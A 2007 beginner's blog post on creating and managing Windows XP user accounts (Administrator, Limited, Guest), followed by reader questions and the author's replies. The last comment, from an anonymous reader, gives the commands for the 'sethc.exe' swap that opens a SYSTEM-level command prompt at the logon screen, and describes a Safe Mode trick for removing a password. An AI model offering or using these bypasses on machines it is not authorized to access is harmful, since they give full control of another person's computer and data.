Saturday, December 22, 2007

PC Basics: Windows XP - User Accounts

Who are you?

Imagine when you left for work and asked some stranger who just happened to be walking or driving by if you could watch your home for you. You just let him in and say make yourself at home I'll be back in about eight hours or so. If they don't clear out your house how do you know what they would get into? Of course no sane person would probably do this. I was just dramatizing what essentially happens when you let someone else use your computer without any controls. What I'd like to show you is how Windows XP can give you some control when you let someone else use your computer. Think about all the stuff you store on your computer. It can be personal, financial data, private photos, and more. You wouldn't let a stranger in your house would you while your not home? Well it's almost the same thing if you don't control who can use your computer. Things I'll go over is the benefits of this, how-to create user accounts and explain the differences between them.


First I'll try and cover some of the benefits of creating different user accounts. One thing is Privacy. If you keep sensitive information that you would like to share with others this will help. Also it would prevent others from finding what websites you visit. Customizing settings to your preference. If you'd like something other than a Shrek wallpaper adorning your desktop background and 20 icons for kids games. Not to mention stuff like your bookmarks, personal photo's etc. Security wise it'll prevent others from snooping in your finances and other sensitive personal information. It also gives you control when you do decide to let some one else use your PC. Like wondering what websites your teenager or your untech savvy brother-in-law who might go wondering around bikini sites too much when your not looking.

How-to create user accounts

First of all you need to be logged into your administrator account.If you only have one account. Windows sets the the default account to administrator if your unsure. Sure sounds important doesn't it? Assuming your their here we go.

Figure 1. Click on start and go to Control Panel

1. Click on your Start button on your bottom left hand corner and go to Control Panel and click on that.

Figure 2. Click on User Accounts icon

That will open another window and you look for User Accounts icon and you click on that.

Figure 3. Pick a Task

2. In the next window you'll be given a choice of:
  • Change an account
  • Create a new account
  • Change my picture(your picture that will show on the Welcome screen on first boot)
3. We select Create an account

4. You will now enter an account name and click on Next.

5. Next you'll be asked if you want it to be an Administrators account or a Limited account. Then you click Create Account and your done.

What the heck is...

In the last section you may have asked yourself what the heck is the difference between Administrator and Limited accounts. I'll attempt to explain the differences between the two plus the Guest account.

As the Administrator you are numero uno , the man behind the curtain, leader of the free world of your computer. Ok maybe a bit of a stretch on the last one. You have pretty much as much control over the computer as Bill Gates will let you have. Change passwords, delete other users(It's wise not tick of the Administrator), install/uninstall programs, install new hardware , you get the picture. I wish it would make coffee too(I'm sure the guys in Redmond are working on it though).

Figure 4. What kind of account should choose?

Limited Accounts are more restricted. They can use the same hardware and software but they can't install either one. They can change their own password and even change the Welcome screen picture. They can also have their own desktop pictures and adjust computer setting to there liking.

Be my Guest

Guest account is basic like a Limited account but just not setup for any one person. It's good if you have many different people using your PC. To make a guest account on your computer you:
1. Click on Start, then Control Panel, and click User Accounts icon.

2. In the User Accounts dialog Box look in the lower right hand corner click on User Accounts.

3. You can now turn on or off the Guest account.

4. When your done click on the "X" button close out the window.

Fine Tuning

If you click on any of the users in the User Account Window you can change options. Things you can do are:

Figure 5. Make adjustment's here

1. . Change the name - This changes the name of the account displayed on the Welcome screen and top of the start up menu.

2.Create a password - You can set or reset your password from here. You can even choose to have none at all.

3. Change the picture - This changes the picture displayed on the Windows log on screen and start menu. You can choose from any Welcome screen. You can use picture types like GIF,BMP,JPG or PNG. Size of the picture doesn't matter as Windows will automatically resize the picture to fit.

4. Change account type - You can change from administrator to Limited accounts and back again.

Don't worry about deleting yourself, Windows protect itself like HAL from 2001 Space Odyssey. It will always make sure that there is always one Administrator.

We've only just begun

This is only just the beginning of learning how to use Windows XP. Being able manage your accounts is one of the more essential ingredients on managing your computer. We covered the benefits of managing your user accounts. What the different types of accounts are and their functions and how to create, delete and manage them. Like I said you wouldn't let a stranger in your house alone, you should try and manage your PC in a similar fashion. Good luck and happy computing!

Source: Windows XP All-in-one Desk reference For Dummies 2nd Edition, by Woody Leonard


Anonymous said...

How many user accounts can I put on XP Pro without it freezing up? Small municipality and need to keep usage separate for employees. Help?

rjplumer said...

I'm not aware at this point of a limit of user accounts before it becomes a problem. I will look into it though. I imagine it would depend on a number of factors like the limitations of the PC itself like hard drive size, RAM (memory) size, graphics card etc... Also the number of users you have in mind also has to be taken into account. I would recommend if your switching between users that they completely log off the account. I believe if you just switch users without logging off the first one it's still running in the background which may effect the PC. I'm not 100% sure of this but I believe that's whats happening. I will look into it though.

Gaya said...

i have admin account n user acount(this is also admin level not limited). so i want to delete my user account.
can u explain the methode?
contact me.

rjplumer said...

Hello, I would do it this way. Log in to your Admin account first then go to Control Panel. Then choose User Accounts. When that window opens you can click on the account you wish to delete. It should open up to give you a number of choices what to change on the account. Which Delete the account is one of them. I hope that helps if not let me know.

Anonymous said...

There are many ways to bypass Windows Logon Screen if you have physical access to machine. I prefer the the infamous sethc.exe trick

All you need is Live CD that supports Captive NTFS i.e. Backtrack. Here we go:

mkdir /mnt/ntfs
mount -t captive-ntfs /dev/hda1 /mnt/ntfs
cd /mnt/ntfs/windows/system32
mv sethc.exe sethc.old; cp cmd.exe sethc.exe
cd ~
umount /mnt/ntfs
shutdown –r now

Boot into Windows and press SHIFT five (5) times. Command Prompt with SYSTEM privileges will pop-up. Game over

If this doesn't work praparly we need to follow our old trick..

(This works only when there is no password for Administrator account).
Start windows in Safe mode.
While entering into the windows it shows
Administrator account
Your account
Click on administrator account
Then you can enter into windows in safe mode
Go to control panel
Open user accounts
Click up on your account
Clik on “remove password”
Reboot windows.
Then you can enter into Your account without password.
It is only one method of troubleshooting. Don’t do this on other’s system.